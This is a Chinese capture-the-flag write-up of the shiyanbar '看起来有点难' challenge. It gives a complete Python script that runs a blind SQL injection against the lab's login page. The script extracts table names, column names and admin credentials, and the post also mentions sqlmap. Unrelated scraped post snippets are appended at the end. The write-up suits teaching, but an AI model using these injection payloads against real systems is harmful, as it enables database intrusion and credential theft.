26.看起来有点难

这题进入以后用时间注入测试一下,成功:

之后就是自己写了个代码:(写的比较破,将就看看)

#!/usr/bin/python
#coding=utf-8

import requests
import sys

#计算长度
def length(strs):
    for i in range(1,100):
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1‘ or if(("+strs+")="+str(i)+",1,0)%23&pass=[d,b,c]&action=login"
        #print url
        #sys.exit(0)
        html = requests.get(url)
        html.encoding=‘gbk‘
        if(html.text.find(u"登录失败,错误的用户名和密码") != -1):
            return i
        else:
            pass

#爆破
def blast(lens,strs):
    
    s = "" #临时保存字母
    key = ""#保存字符串(字母拼接)
    for i in range(lens):
        for j in range(8):
            url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1‘ or select if(ascii(substring(("+strs+"),"+str(i+1)+",1))%26"+str(2**j)+"="+str(2**j)+",1,0)%23&pass=[d,b,c]&action=login"
            #print url
            #sys.exit(0)
            html = requests.get(url)
            html.encoding=‘gbk‘
            if(html.text.find(u"登录失败,错误的用户名和密码") != -1):
                s = "1" + s
            else:
                s = "0" + s
        key += chr(int(s,2))
        s = ""
    return key

#复数查询(多个表,多个字段)
def plural(name,name_len,num):
    name_list = []#存储表名
    for i in range(num):
        names = name
        name_lens = name_len
        
        add = " limit "+str(i)+",1"
        names = names+add
        name_lens = name_lens + add
        
        tb_s = length(name_lens)#每一个表的长度
        tb_name = blast(tb_s,names)#每一个表的名字
        name_list.append(tb_name)
    return name_list
    
def main():
    #计算数据库长度
    db_len_sql = "Select length(database())"
    #db_len= length(db_len_sql)

    #爆破数据库名
    db_bl_sql = "database()"
    #db_name = blast(db_len,db_bl_sql)
    #print db_name

    #计算表数量
    tb_s_sql = "Select count(table_name) from information_schema.tables where table_schema=‘test‘"
    #tb_s = length(tb_s_sql)

    #爆破所有表名
    tb_name_len = "selEct length(table_name) from information_schema.tables where table_schema=‘test‘"#表名长度
    tb_names = "selEct table_name from information_schema.tables where table_schema=‘test‘"#表名
    #tb_name_list = plural(tb_names,tb_name_len,tb_s)

    #爆破字段名数量
    col_s_len = "Select count(column_name) from information_schema.columns where table_name=‘admin‘"
    #col_s = length(col_s_len)

    #爆破字段名
    col_name_len = "selEct length(column_name) from information_schema.columns where table_name=‘admin‘"#表名长度
    col_names = "selEct column_name from information_schema.columns where table_name=‘admin‘"#表名
    #col_name_list = plural(col_names,col_name_len,col_s)

    #爆破username字段
    flag_sql = "Select count(username) from admin"
    flag_s = length(flag_sql)

    flag_len = "Select length(username) from admin"
    flag_name = "seleCt username from admin"
    lists = plural(flag_name,flag_len,flag_s)
    print lists

    #爆破password字段
    flag_sql = "Select count(password) from admin"
    flag_s = length(flag_sql)

    flag_len = "Select length(password) from admin"
    flag_name = "seleCt password from admin"
    lists = plural(flag_name,flag_len,flag_s)
    print lists
    

if __name__ == "__main__":
    main()

将得到的username,password输入就可以了

还有一个方法就是,直接sqlmap神器,简单粗暴,简直不要太好用了,我就不上图了

时间: 2024-12-25 03:22:44

26.看起来有点难的相关文章

实验吧 看起来有点难(手工注入加sqlmap注入)

嗯~打开题目看见一个逼格有点高的图 查看网页源代码,表单以get的方式传送三个参数(admin,pass,action)给index.php,但是限制了两个输入框的最大长度是10,这个是前端的限制,形同虚设.我们可以用按浏览器的F12,改变其值的大小,或者在URL栏中输入都可以. 然后我们在输入框中随便输入一点测试看会报什么错,或者过滤了什么关键字符,我们可以输入一些敏感的字符串.然后我们可以看见我们在admin中输入的会打印在屏幕上.并且我们发现用户名框把select,#过滤了,而select

【PAT-一道看着很难的水题】L2-023. 图着色问题

水题!没其他想说的,还以为可以搞点高大上的搜索呢!十五分钟,暴力两重循环就OK了! 代码如下: #include<iostream> #include<stdio.h> #include<string.h> #include<math.h> #include<algorithm> #include<queue> #include<set> #include<vector> #include<map>

看起来有点难

页面很简单,跟我们平时遇到的登录窗口差不多,看看源码,没什么可用的信息 在bp抓一下,传repeater中go一下,也没看到什么特别的地方,看来这道题应该是注入题了,尝试用户名1,1’,1”,1#,1’#,1”#,1),1’),1”),1’)#,admin......,其中发现输入admin和1’时就不一样了 多次尝试后发现这里是延时注入,所以构造payload:admin' and sleep(10) and '1'='1 发现真延迟了10s,因为延时注入太麻烦了,所以这里直接引入dalao(

程序员学习能力提升三要素(工作用什么,就练什么,不要在上班时间看书)

IT技术的发展日新月异,新技术层出不穷,具有良好的学习能力,能及时获取新知识.随时补充和丰富自己,已成为程序员职业发展的核心竞争力.本文中,作者结合多年的学习经验总结出了提高程序员学习能力的三个要点. 众所周知,现在是一个知识爆炸的时代,知识更新非常快.据测算,一个大学毕业生所学到的知识,在毕业之后2年内,有效的不过剩下5%.对于软件行业而言,这种形势更为明显,我们赖以立足的,不在于我们现在掌握了多少知识,而是我们有多强的学习能力. 学习人人都会,但不同的人学习效果却千差万别.一个善于学习的人,

实验吧web题(26/26)全writeup!超详细:)

#简单的SQL注入 http://www.shiyanbar.com/ctf/1875 1)试着在?id=1,没有错误 2)试着?id=1',出错了,有回显,说明有注入点: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 3)先预计后台表名为fla

2015年10月26日 插件的使用

对于JSP页面经常会使用到一些插件,很兴奋一些看起来比较难的功能也能比较容易的实现,比如最近用到的在线文档编辑,可以用ckeditor,在线可编辑表格,可以用bootstrap-editable,…… 可是也比较郁闷,很多时候是为了完成任务,就按照例子来搬砖实现了,当要进行一些扩展性的个性功能时就会变得比较困难,因为接触的时候没有理解的那么深入!!就好像今天一样,想在bootstrap table加入editable功能时,引入了相关的 引用后,发现表格的其它的行都可以编辑输入,就是第一行点击后

让技术人员看得懂的面向对象设计流程

1.概述 谈到流程,大家都会想到熟悉的瀑布模型.螺旋模型.迭代开发.敏捷.RUP等一堆软件工程相关的软件开发流程,但是请不要误会,本文的流程和这些管理流程完全不同,为了以示区分,我把瀑布模型.敏捷.RUP等流程成为项目流程,也就是说这是给项目管理用的:而本文的流程是技术流程,是给技术人员(主要是设计人员)看的流程. 在开始讲解之前,看看如下问题你是否能够回答? 1.客户的需求是描述性的,例如"我们需要一个POS机",而代码是一个一个具体的类和函数,那么如何从描述性的语言最后转化到具体的

个人作业文档记录(毫无排版纯看心情版)

3.24下午 14:48 开始工程 第一步是分析作业的需求,虽然看起来有些难--但是肯定是可以的,要找到缺口!首先建立项目,好久没用vs了,感觉有点生疏,一会可能还要看看ppt才行 基本功能 1.     统计文件的字符数 2.     统计文件的单词总数 3.     统计文件的总行数 4.     统计文件中各单词的出现次数 5.     对给定文件夹及其递归子文件夹下的所有文件进行统计 6.     统计两个单词(词组)在一起的频率,输出频率最高的前10个. 7.     在Linux系统

从dubbo处理视角看Netty处理网络传输原理 -- 粘包与拆包

如今,我们想要开发一个网络应用,那是相当地方便.不过就是引入一个框架,然后设置些参数,然后写写业务代码就搞定了. 写业务代码自然很重要,但是你知道: 你的数据是怎么来的吗?通过网络传输过来的呗. 你知道网络是通过什么方式传输过来的吗?光纤呗,TCP/IP协议呗. 看起来都难不住我们的同学们,但是,以上问题都不是我们关注的重点,我们今天要关注的是,TCP.IP协议是如何把数据传输到我们的应用服务器,而且准确地交到对应的业务代码手上的? 我们也不关注TCP协议的三次握手四次挥手,我们只需要确认一点,